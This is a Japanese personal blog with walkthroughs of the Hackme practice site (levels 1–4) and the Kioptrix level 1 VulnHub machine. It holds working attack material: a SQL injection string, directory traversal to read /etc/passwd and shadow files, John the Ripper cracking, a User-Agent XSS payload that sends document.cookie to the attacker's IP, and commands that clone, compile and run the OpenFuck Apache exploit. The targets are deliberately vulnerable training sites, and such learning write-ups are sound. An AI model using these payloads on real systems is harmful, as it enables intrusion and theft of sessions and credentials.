ひとこと

― 今日のひとこと ―
年に1回くらい、EVE Onlineやりたくなるのよね。
(2025.12.24)
ラベル Hackme の投稿を表示しています。 すべての投稿を表示
ラベル Hackme の投稿を表示しています。 すべての投稿を表示

2021年1月21日木曜日

Hackmeすごい

Hackmeという、株式会社ネットファイアさんが公開しているWebサイト。

Webサイトのハッキングをゲーム感覚で体験できる非常に優れたもので、そういった類のWebサイトの中では日本だと最も古く有名なのではないかと思います。

自分は2013年と2016年にその攻略記事を書いていました。
それがいつの間にやらまとめサイトに載せられていたからか、2021年の今でも、結構アクセスがあるのです。

 

そんな昔のチャレンジサイトの攻略情報を求めている人がこんなにもいるのか。攻略記事へのアクセス数を見る度にそう思う。

だって2013年の時点で「Hackmeって結構前からあるよなー」って思ってたくらいだぞ。
それだけ面白い、良いサイトということだろうか。


ハッキングというのは大きな言葉で、サイバーセキュリティの攻撃系の技術分野は多岐に渡る。
(Web、ネットワーク、アプリケーション、カーネル、プロトコル...etc)

もしHackmeでサイバーセキュリティに興味を持ってもらえたなら、自分がどんな分野に興味があるのか、一度ゆっくり考えてみるといいかもしれない。

もちろん、攻撃系ではなく防御系(SOC, CSIRT, フォレンジック...etc)でもいい。

 

とにかくこの分野は広すぎて、すべてを極めるのは無理だ。
なので、自分に合った方向性にあたりをつけて、とりあえず手を動かしてみることをお勧めする。


2019年12月30日月曜日

Kioptrix攻略 #1

サイバーセキュリティのオフェンシブな技術を実践すべく敢えてセキュリティホールを持つよう構築された仮想マシンが集うサービス、VulnHub
2020年内のOSCP取得に向けた学習を兼ねて、VulnHubの仮想マシンの中でも最もOSCPっぽいと名高いKioptrixシリーズに挑戦する。

過去にこのブログで攻略記事を書いていたHackmeは、用意されたWebアプリケーション上の脆弱性を各レベルで1つずつ突いていく構成だった。
少なくとも自分がクリアしたLv1~Lv4については、Webセキュリティにおける脆弱性攻撃の基礎を手で学ぶための、どちらかというと初学者向けのサービスだ。
Kioptrixは、ネットワーク越しに仮想マシンの管理者権限を取得するという目的において、攻撃面はWebに限定されない。
自分が現在クリアしているLv1~Lv2に関していえば、むしろWebだけでは不充分だ。実際の侵入テストと同じく、ステップバイステップで情報を集め、攻撃を試していく必要がある。
その分だけHackmeより多角的・実践的な技術が求められるというわけだ。

とはいえ自分もこういったテストの経験はあまりないので、試行錯誤しながら進めている。
同じくトライ&エラーで進めた方が様々勉強になるのは明らかなので、「何から手を付ければいいのか全然わからねぇ...」というシャイボーイ以外はここでページを閉じ、まず自力で解いてみることをお勧めする。

なお、ただ解き方を書き残すのではなく、どう考えて何をしたのか?をちまちま書いているため長いです。

仮想マシンの立ち上げについては詳細割愛する。
Kioptrixのrarファイルをダウンロードして展開してVirtualBoxで仮想マシンを立ち上げてネットワークアダプタをNATネットワークにするだけ。たぶん。
(Lv1だけはちょっと設定が面倒なので、このサイトを参考にしてください。)
攻撃にはKali Linuxを使う。基本的に、自身が操作するのは全部Kali。こちらの立ち上げやツールの使い方等についても割愛。


では!




0.Kioptrixマシンを探す

KioptrixマシンはKaliと同じネットワークに存在するはず。なのでまずKaliのIPアドレスを確認する。
ifconfig


自分の環境ではKaliのIPアドレスは10.0.2.5なので、10.0.2.5/24を探索対象にしよう。
nmap 10.0.2.5/24 -T5
単純にnmapでネットワークスキャン。
KioptrixマシンのIPがわかればいいので"-T5"オプションで高速化する。


開いているサービスを見るに、10.0.2.6がKioptrixマシンのようだ。

1.ポートスキャン

KioptrixマシンのIPアドレスを指定して、サービスのバージョンを詳しく調べてみる。
nmap -Pn -sV -p- 10.0.2.6
前回の結果で疎通可能なのは明らかなので"-Pn"でpingを省略し、"-p-"で全ポートを指定した上で"-sV"でバナー情報を取得する。


うーん古い!(古いVMだから当然だけど)
Webシステムのプラットフォームの脆弱性診断なんかをやっていると、よく使われるサービスのバージョン感というか、「このサービスの最新はこのバージョンで、どのバージョンにはこういう脆弱性が報告されている」というのをなんとなく覚えてしまう。
なのでOpenSSH 2.9やらApache 1.3.20やらを見ると、まるで古代遺跡を掘り当てた考古学者のように、これは大変なお宝が眠っていそうだぜ!とわくわくするのだ。
バージョンは出ていないがSambaも気になる。

2.Webアプリケーションのチェック

脆弱性情報を調べる前に、ポート80/443でWebサーバが稼働しているようなので、とりあえずブラウザでアクセスしてみよう。

"Test Page"?ほーん
どんなページがあるか探してみる。
python3 dirsearch.py -u http://10.0.2.6/ -e * -x 403,404
Webサイトのページを探索するツールは色々あるが、自分はdirsearchをよく使う。結果は...
  [01:18:34] 200 -    3KB - /index.html
  [01:18:35] 301 -  294B  - /manual  ->  http://127.0.0.1/manual/
  [01:18:40] 200 -   27B  - /test.php
  [01:18:40] 200 -    4KB - /usage/

RCEか、それに繋がるような脆弱性があるかもしれないと考え、test.phpとusage/を軽く確認したが、特に実りなし。
本格的にWebの脆弱性を探し始めるとかなり時間がかかってしまうので保留とする。
ちなみに、usage/のページに記載されていた、ページで利用されているのであろうソフトウェア「Webalizer Version 2.01」にはRCEの脆弱性(CVE-2002-0180)が報告されている。
しかしそのCVEに対応するExploitは見つけられなかった。

3.サービスのチェックと脆弱性攻撃

nmapで得たバナー情報によると、Kioptrixマシン上で気になるサービスが3つ稼働している。
  • OpenSSH 2.9p2
  • Apache/1.3.20 (Unix)(Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
  • Samba
OpenSSHやApacheのバージョンはずいぶん古いし、Sambaは比較的最近でもマルウェアが感染活動に悪用することで知られている。
この3つについて、RCE等でCVSSの高い(必要条件の緩いRCEなので体感CVSS7.0以上くらいの)脆弱性を順番に探していく。

OpenSSH 2.9p2

Webでざっと調べたところ、該当しそうなCVEは4つ。ただ、これらのExploitは見つけられなかった。
  • CVE-2002-0639
  • CVE-2002-0640
  • CVE-2006-5051
  • CVE-2010-4478

OpenSSHにはユーザ列挙の脆弱性がある(&それ脆弱性じゃないぞと公式見解が出た)ことは有名なので、それを試してみる。
Metasploitを使う。
msfconsole
SSHのユーザ列挙の脆弱性をsearchで見つけ、実行する。
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 10.0.2.6
set THREADS 8
set USER_FILE '/usr/share/wordlists/metasploit/unix_users.txt'
run
結果は...
    [+] 10.0.2.6:22 - SSH - User 'adm' found
    [+] 10.0.2.6:22 - SSH - User 'bin' found
    [+] 10.0.2.6:22 - SSH - User 'daemon' found
    [+] 10.0.2.6:22 - SSH - User 'ftp' found
    [+] 10.0.2.6:22 - SSH - User 'games' found
    [+] 10.0.2.6:22 - SSH - User 'gopher' found
    [+] 10.0.2.6:22 - SSH - User 'halt' found
    [+] 10.0.2.6:22 - SSH - User 'lp' found
    [+] 10.0.2.6:22 - SSH - User 'mail' found
    [+] 10.0.2.6:22 - SSH - User 'news' found
    [+] 10.0.2.6:22 - SSH - User 'nobody' found
    [+] 10.0.2.6:22 - SSH - User 'operator' found
    [+] 10.0.2.6:22 - SSH - User 'postgres' found
    [+] 10.0.2.6:22 - SSH - User 'root' found
    [+] 10.0.2.6:22 - SSH - User 'sync' found
    [+] 10.0.2.6:22 - SSH - User 'uucp' found
結構たくさんユーザがいるようで。
ちなみにこれらのユーザに対してhydraで総当たり攻撃してもパスワードは見つけられませんでした。
リストはMetasploit標準のものを使ったとはいえ、そんな文字通り力づくな方法でクリアできたらつまんないよね。

というわけで、OpenSSHから攻めるのは諦める。

Samba

Webアプリケーションの脆弱性は見つかっていないので、気分転換のためApacheではなくSambaを調べることに。
smbclient -L 10.0.2.6
これで普通に接続しただけではバージョンはわからなかった。
まぁこんなのでわかるならきっとnmapが突き止めてくれているか。
他にバージョンを確認する手段を調べたところ、Metasploitに該当するモジュールがあることがわかったので早速使ってみる。

use auxiliary/scanner/smb/smb_version
set RHOSTS 10.0.2.6
set THREADS 8
run

あっさりわかった。Samba 2.2.1aだ。このバージョンに対応する、ちょうどいいCVEは...
  • CVE-2003-0201
この脆弱性はOSごとのExploitが複数公開されている。
Metasploitモジュール含め4つほど試してみたが、うまくいったのはこの1つだけ。
https://www.exploit-db.com/exploits/22469
他はモジュールのコード修正したりgccのオプションいじってみたりしたけど実りなし...ここですごく時間がかかった。

Apache/1.3.20 (Unix)(Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

「"Apache 1.3.20" "exploit" -"kioptrix"」といったキーワードでWeb検索すると、何やらものものしい名称のExploitがすぐに見つかった。
このExploitのREADMEを読めば書いてあるが、なぜそんな名前に...
https://github.com/heltonWernik/OpenLuck

git clone https://github.com/heltonWernik/OpenFuck.git
gcc -o OpenFuck OpenFuck.c -lcrypto
./OpenFuck 0x6b 10.0.2.6 -c 50

4.コマンド実行

SambaやApacheの脆弱性を突いて、Kioptrixマシン上でコマンドを実行できるようになった。
まず確認すべきは自分の権限だ。whoamiで簡単に確認する。
whoami
"root"と出力され、管理者権限でコマンドを実行できていることがわかる。

次に、既存ユーザのパスワードを調べてみる。
cat /etc/passwd
cat /etc/shadow
OpenSSHでのユーザ列挙で判明していたユーザ名がちらほら。
これらの表示結果を基にパスワードハッシュを解析してみたが、10分ほど経過しても解析しきれなかったので中断。
ハッシュ解析にはJohn the Ripperを使った。このツールの使い方はHackme攻略 Lv3の記事を参照。

既存ユーザがだめなら新しいユーザを作ってやる、と考えユーザ作成コマンドを実行
useradd fakeuser
adduser fakeuser
...するも悉く失敗。
仕方ないのでrootのパスワードを変更する。
passwd
これでSSHでログインできるようになったので、試してみる。

やったぜ。

さて、VulnHubのページには"Flag(s) EMail"と記載されているので、メールを探す。
いくつかディレクトリを眺めていると、/var/mail/rootというパスを見つけた。
cd /var/mail
more root
これでファイルを読んでみると...

"If your are reading this, you got root. Congratulations. Level 2 won't be as easy..."

Lv1クリア!


なお、ふと「これsendmailかな」と思いsendmailコマンドを打ってみるとビンゴだったので、moreじゃなくてmailコマンドでもメールが読めます。
あとついでにSSH接続でuseraddしたらユーザ作成できたけど理由がよくわかってない

--------------------------------

久し振りに長めの記事を書いたけどめちゃくちゃ疲れた...Lv2以降書くの億劫だな...


2016年2月24日水曜日

Hackme攻略 - Lv別ヒント -

「糸口すらつかめねえ・・・でも答えは自力で導き出したい!」というハイエンドなあなたに朗報
HackmeのLv1からLv4までのヒントだけを書いておく。Lv5は知りません。

ヒントといってもいくつかのキーワードだけ。
しかし、もし基礎知識が充分であれば、それだけでも突破口は見えてくるはず。


■Lv1
・ソースコード

■Lv2
・データベース
・サニタイジング

■Lv3
・URL
・passwdファイル

■Lv4
・スクリプト
・サニタイジング
・Cookie
・セッション


健闘を祈る!

2016年1月21日木曜日

Hackme攻略 Lv4

3年振りくらいか?Hackmeに再挑戦。Lv4を攻略する。



以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。




[Lv4]




1.ヒントを探す

URLやソースコードには特に手掛かりなし。
とりあえずフォームでのXSSとSQLインジェクションを試してみるか。

ID :
<script>alert("test")</script>
Password :
' or 1=1--

でログインを試みる。結果は・・・

まぁ失敗ですよね。フォームから攻撃するわけではなさそうだ。

なぜだか知らないがアクセスログが表示されている。
ログインに失敗したユーザの接続元IPアドレスまたはログインに成功したユーザのユーザ名と、
ユーザが送信したUser-Agentが表示されている。


2.考える

表示されたログを読み解くと、どうやらfoobarというユーザはまだログアウトしていないようだ。
それをわざわざ明示するあたり、これはセッションハイジャックせよということなのだろう。

セッションを奪うにはターゲットとするユーザのセッションIDを知る必要がある。
セッションIDはCookieに記録されるので、どうにかしてターゲットのCookieの値を窃取すればいいわけだ。
Webアプリケーションでサニタイジングが適切に行われていなければ、
HTTPリクエストにスクリプトを混入させることでXSSを実行してCookieの値を盗み出すことができるかもしれない。

しかし、その場合に重要なのは
「XSSではクライアントPC上でスクリプトが実行される」「Cookieは通信の度にやりとりされる」
ということだ。

つまり、今回foobarのセッションIDを窃取してセッションハイジャックを成功させるには、
以下の条件をクリアしなければならないわけだな。

A :
HackmeのWebページにスクリプトを埋め込むことが可能であること
B :
Aをクリアした上で、スクリプトが埋め込まれたWebページにfoobarがアクセスし、
foobarのPCでスクリプトが実行されること

無理じゃん。
foobarは問題のために便宜的に用意されたユーザであって、実在しないんだろ。
サーバ側で実行されているプログラムのメモリダンプか何かから有効なセッションIDを探せとでも?
まさかそんな壮絶に面倒くさいことにはならないよな・・・

何か見落としてはいないだろうか。過去の問題を思い起こした。
そういえば、Lv2も解いてて少し引っかかったんだよな。
結局すごく単純な条件文でSQLインジェクションできたけど、
あれだってもっと複雑なSQL文で問い合わせたりその結果をプログラムで検証されたりしていたら、
あんなにすんなりクリアすることはできなかったはずだ。
つまるところHackmeは、今やあまり現実的でない構成に思えるほど挑戦者に親切な、
あくまでゲーム的な楽しみを提供するためのサイトなのではなかろうか・・・

とりあえず深く考えず、思いついたことを試してみようか。
条件Bはひとまず無視して、条件Aについて考えよう。

画面には、ユーザ名またはIPアドレスとUAが過去5件分表示されている。
過去5件分が表示されるということは、自分が改竄した内容が後の数人にも表示される
(=後の数人に対してXSSが有効である)可能性があるということだ。

スクリプトを埋め込めそうな箇所はないか?

ユーザ名はサーバ側で管理されているはずだから却下。
IPアドレスは、IPパケットの送信元IPアドレス部を詐称することは可能だがそうするとレスポンスを受け取れないし、そもそもスクリプトを書けるほどデータを格納できないので却下。
User-AgentはHTTPリクエストのヘッダを書き換えればいいし、簡単なスクリプトを格納できる程度のデータ量は許容される。こいつがあやしい。


3.検証する

User-Agentにスクリプトを埋め込み、それが実行できるかどうかを確認する。
HTTPリクエストを書き換える方法は色々あるが、今回はFirefoxのアドオンである『UAControl』を使った。


再度ログインしてみると・・・

・・・自分が意図したものとは違うが、XSSが可能だそうだ。
まぁ本当にできてしまうとHackmeのサイト自体が危険ってことになりかねないから、何らかのコントロールを行っているのだろう。
ログの表示を見た感じではWebページの改竄もできている?



4.Hackyou!

ではCookieの値を窃取するスクリプトを送ってみよう。
ブラウザで動作するスクリプトといえばJavaScriptだが、
自分はJavaScriptに明るくないのでどんな処理が可能なのかはよく知らない。
本当にalertとdocument.cookieくらいしか知らないからな。でもやるべきことは決まっている。
foobarがアクセスしてきた時に、そのCookieの値をこちらが管理する端末に送信させればいいのだ。

具体的には、スクリプトでWebページを移動したり読み込んだりして、パラメータにCookieの値を持つHTTPリクエストが自分の元に届けばいい。
<img src="http://{自分のIP}/a?b="+{foobarのcookie} height="1" ookie="" width="1" />
とか
<iframe foobar="" height="1" ookie="" src="http://{自分のIP}/a?b="+{foobarのcookie} width="1"></iframe>


とかでもいいのかもしれないけど、JavaScriptだけを使う方がシンプルに書けそうだ。
JavaScriptでWebページを移動するには「document.location="{移動先のURL}"」と書くらしいので、これを使って次のスクリプトを送ってみよう。
これでいけそうなら一時的にサーバを稼働させて、パケットをキャプチャしてみるか。。
<script>document.location="http://{自分のIP}/a?b="+document.cookie;</script>
再びUser-Agentを書き換えてログインしてみる。


すると・・・

なんかでた!!!

というかやっぱりこういう感じなのね・・・
Hackmeには挑戦用のアカウントでログインしてるからそのセッションIDは変えられないし、
これならサーバを用意しなくてもいいからね。なんかちょっと残念な具合だけどね。


いま表示された値をCookieに追加する。これも方法は色々だがFirefoxのアドオン『Firebug』を使った。


再度ログインすると・・・


Lv4クリア!



これでいいのか?って感じはするけど解けてよかった
でもどっと疲れたぞ・・・

2013年1月31日木曜日

Hackme攻略 Lv3

今回はHackme Lv3の攻略。



以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。




[Lv3]




1.ヒントを探す

いつものようにページを眺める。今回もまたヒントになりそうなものは・・・あった。
ページのURLにファイルの階層が表示されている。妙に変だなぁ・・・



2.考える

「URL」「階層」「クラッキング」とくれば思いつくのはディレクトリトラバーサルである。
ディレクトリトラバーサルっていうのは、簡単に言えば他人に見られちゃまずいファイルを覗くことだ。
Hackmeはパスワードクラックの腕試しをするサイト。ということは・・・パスワードが書かれたファイルにアクセスしろということか!



3.検証する

パスワードが書かれたファイル。そういえば、SC対策の講義でshadowパスワードの話を聞いたことがあるな。
たしかLinuxでは「/etc/passwd」と「/etc/shadow」にパスワードを記録しているってやつだ。

普通はユーザが上位階層にアクセスできないようなパーミッションが割り当てられていると思うが・・・
試しに「/etc/passwd」にアクセスしてみよう。URLの「page=」以下を「../etc/passwd」に書き換えてみる。
結果は・・・

ファイルの内容が表示された!

次はshadowだ。しかしURLを「../etc/shadow」に書き換えてみたところ、そんなファイルは存在しないというメッセージが。
調べてみたところ、どうやらUNIX系システムの種類によってshadowファイルの位置や名前が違うらしい。

AIX  → /etc/security/passwd
BSD  → /etc/master.passwd
DG/UX → /etc/tcb/aa/user/
HP-UX → /.secure/etc/passwd

といった具合だ(*1)。
Hackmeの場合はBSDのようで、「/etc/master.passwd」にアクセスすることでshadowファイルを閲覧できた。


どうやら見立ては正しかったようだ。
しかし、パスワードは暗号化されている。復号しなくては。


2021年2月27日追記~~~
/etc/shadowでshadowにアクセス可とコメントにて情報提供いただき、
確かに/etc/shadowを閲覧できることを確認しました。
(/etc/master.passwordは消えているようです。)
どこかのタイミングで変更されてたんですね。
情報提供ありがとうございました!
~~~~~~~~~~~~

4.ツールを使う

passwdファイルとshadowファイルからパスワードを復号するのは人間には不可能なので、何らかのツールが必要になる。
一般的にはJohn the Ripperというフリーソフトが有名なようなので、これを使ってみる。


ここからJohn the Ripperをダウンロードし、解凍する。


・先ほどアクセスしたpasswdとmaster.passwdの内容をそれぞれテキストエディタにコピペし、
「passwd」「shadow」として保存する。


・ダウンロードしたフォルダ内にあるunshadow.exeをコマンドプロンプトで実行し、
passwdファイルとshadowファイルを結合して「passfile」として保存する。

  unshadow.exe passwdファイルのパス shadowファイルのパス > passfileファイルのパス
これで、指定したパスにpassfileファイルが生成される。

このファイルからパスワードを解析していくわけだ。


5.Hackyou!

John the Ripperには3つの解析モードがある。
・single  → ユーザ名と同じパスワードだとかの単純なパスワードを解析する
・wordlist → 既存の単語リストを使ってパスワードを解析する
・incremental → 文字のあらゆる組み合わせを試行して解析する。いわゆるブルートフォース

全て試したところ、singleではヒットせずincrementalでは1時間かけても解析が終わらなかったため、
wordlistを使った方法だけメモしておく。

コマンドプロンプトで↓のコマンドを実行する。
  john --wordlist=password.lst passfileファイルのパス

これだけ。↓のコマンドを実行すれば、解析したパスワードとユーザ名の対応がわかる。
  john -show passfileファイルのパス

そしてこのユーザ名とパスワードをHackme Lv3のフォームに入力すると・・・


Lv3クリア!




Hackmeやるよりこうやって説明書いてる方が時間かかるな。。

*1 The Hack FAQ参照




AWSのS3とJavaで共有ギャラリーでも作ろうかと思い始めた。
暇があればやってみよう。


[2016/02/07 追記]
Lv4の攻略について書きました。


2013年1月28日月曜日

Hackme攻略 Lv2

今回はHackme Lv2の攻略。


以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。





[Lv2]




1.ヒントを探す

今回もまた、ページを眺めてみてもこれといった発見はない。右クリックもできる。
ソースコードにもアカウント情報は記載されていない(当然といえば当然だが)
物は試しとLv1と同じ情報を入力してみると・・・

「ユーザ名またはパスワードが違います」というエラーメッセージが表示された。

そういえば、たまにパスワードだけが間違っているって表示しちゃうサイトがあるが、
それって結構危ないんだよな。IDはデータベース上に存在してるって自分で証明してるわけだから。
Lv2さんはそんなに甘くないってことだな。流石や!


2.考える

さて、どうやらユーザが見ることができる範囲にヒントになるような情報はなさそうだ。
仕方がないので少し専門的な知識を使おう。

Q.Webサイトのログインフォームを作る際に注意しなければならない攻撃は?
A.SQLインジェクションです。

Q.SQLインジェクション対策として有効なのは?
A.サニタイジング処理またはバインド機構です。

という具合に、データベースとWebセキュリティの基本を知ってれば誰もが考える。
では早速検証してみよう。


3.検証する

要は、SQLにおいて意味を持つ特殊文字がどう扱われているかを調べればいいわけだ。
代表的なのはアポストロフィ(')だな。

というわけでIDをてきとーに入力し、パスワードにただ1文字 ' と入力してみる。


結果は・・・


pg_queryとかいういかにもデータベース扱ってますよと云わんばかりに命名されたメソッドでエラーが!
アポストロフィ付近で文法エラーが起きてクエリが発行できなかったと書いてある。

さっきまでクラッカーにヒントを与えない完璧なエラーメッセージを発し続けていたLv2さんが
こんな明瞭なヒントを出すなんて・・・妙に変だなぁ・・・

プログラムでサニタイジングやプレースホルダが使われているなら、
はじめのように「ユーザ名またはパスワードが違います」と表示されるはず。
しかしSQL文法エラーが起きているという事は、入力された特殊文字がSQL文中で意味を持っているということ!
SQLインジェクションが有効だと考えられるね。


4.Hackyou!

SQLインジェクションというのは、簡単に言えばフォームにSQL文を打ち込んで実行させる手法だ。
ログインフォームでは、認証に用いられるクエリの実行結果が「true」になるようにSQL文を入力すればいい。

たとえば、↓のようなSQL文でパスワードの認証を行っているとする。
  SELECT user_password FROM user_info WHERE user_password = '<入力された値>';
この一文の内、WHERE句の条件に注目する。
素直に「password = ?」の形でクラッキングを試みたところで勝算はない。
このままでは本当に存在するパスワードを入力する以外ではクエリの結果を「true」にできないからだ。

上記クエリの実行結果を「true」にするには、SQL文を↓のように書き換えて実行させればいい。
  # xxxは任意の文字列
  SELECT user_password FROM user_info WHERE user_password = 'xxx' OR 絶対にtrueになる式 --';

条件式にある「A OR B」という形は、「最低限AかBのどちらかがtrueなら結果もtrue」っていう意味。
だからxxxが間違っていても、後に書いた<絶対にtrueになる式>によって実行結果はtrueになる。

そして、「--」は「それ以降をコメント化(無視)する」という意味。
これをつけないと末尾に残るアポストロフィによって文法エラーになってしまう。


説明が長くなったが、そんなこんなの理由から僕が入力したのは以下の通りだ。
ID :まろ最高
Pass:a' or 1=1 --


結果は・・・

Lv2クリア!



次回はLv3の攻略。

2013年1月27日日曜日

Hackme攻略 Lv1

クラッキングの腕を試すサイトとして有名なHackme

内容はシンプルで、Lv1からLv5までの5段階を順番にパスワードクラッキングしていくというもの。
Lvが上がる毎に難易度も高くなっていく。
これまでに約22万3000人が挑戦しているが、その中でもLv5をクリアした者はたったの3人しかいない・・・。

僕も先日挑戦してみたところ、Lv3まではなんとかクリアできた。

メモが必要なのはツールを使うLv3だけだと思うが・・・まぁとりあえずLv1からの攻略法をメモしておく。




以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。


[Lv1]


1.ヒントを探す
ページを眺めてみても、特にヒントになりそうなものは無い。
が、しかしページで右クリックしてみると・・・


右クリックのメニューが開けない。妙に変だなぁ・・・
歌の歌詞を載せてるサイトなんかでは、歌詞のコピペを封じるために右クリックを禁止してたりするよね。
おそらくこのHackme Lv1にも、右クリックされたら困る理由があるに違いない。怪しい!
っていうか(笑)がそこはかとなくむかつく!


2.Hackyou!
まぁだいたい想像つくよね。ソースコードが怪しい。
右クリックが駄目なら別の方法でソースコードを見ればいい。
FireFox18.0.1の場合は↓のように操作する。


これでこのページのソースコードを閲覧できる。
試しにCtrl+Fで「pass」と検索してみると・・・

無用心すぎるだろ・・・。

このidとpassをログインフォームに打ち込んでみる。


結果は・・・

Lv1クリア!



とんでもなく簡単。プログラミングをかじった事があれば中学生でも解ける。
次回はLv2攻略。



------------2014/01/25 追記------------

Hackmeではブラウザのツールボタンからソースコードを確認する事が出来るが、
サイトによっては何のボタンも表示されないよう制御されている場合もある。

そんな時はどうやってソースコードを閲覧するのか?

実は、Windowsには「コンテキストメニューを表示するショートカットキー」が存在する。
ctrl + shift + F10
(または shift + F10)

ここからソースコードを表示するメニューを選択すればいいわけだ。こっちの方がハッカーぽいね

------------2019/12/31 追記------------
今更ながら追記。F12を押すというのが一番簡単ですね